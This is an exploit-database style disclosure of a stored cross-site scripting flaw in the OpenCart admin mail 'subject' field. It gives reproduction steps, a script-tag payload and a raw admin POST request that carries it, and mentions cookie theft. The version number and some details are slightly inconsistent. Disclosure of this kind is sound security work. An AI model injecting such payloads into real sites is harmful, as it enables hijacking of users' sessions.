OpenCart 3.0.3.6 - 'subject' Stored Cross-Site Scripting

# Exploit Title: OpenCart 3.0.3.6 - 'subject' Stored Cross-Site Scripting
# Date: 2021/08/06
# Exploit Author: Mert Daş
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://www.opencart.com/index.php?route=cms/download
# Version: 3.0.3.7
# Tested on: Windows 10

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two.
It occurs when a malicious script is injected directly into a vulnerable web application.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in Subject field of the mail and each time any user will open that mail of the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: Subject of mail.

Steps-To-Reproduce:
1. Go to the opencart admin page.
2. Now go to the Marketing-Mail option.
3. Put the below payload in subject field of the Mail
: "<script>alert(11111)</script>"
5. Now click on send button.
6. The XSS will be triggered.

POST
/opencart/admin/index.php?route=marketing/contact/send&user_token=xdMb2w0inuUPADXGigfCtsIMM0RgQ83t
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 187
Origin: http://127.0.0.1
Connection: close
Referer:
http://127.0.0.1/opencart/admin/index.php?route=marketing/contact&user_token=xdMb2w0inuUPADXGigfCtsIMM0RgQ83t
Cookie: language=en-gb; currency=EUR; OCSESSID=b21a152616460d44029878c9a0

store_id=0&to=customer_all&customer_group_id=1&customers=&affiliates=&products=&subject=%3Cscript%3Ealert(1)%3C%2Fscript%3E&message=&=&=&=http%3A%2F%2F&=on&files=&=&=&=&=&file=&=&=&=_self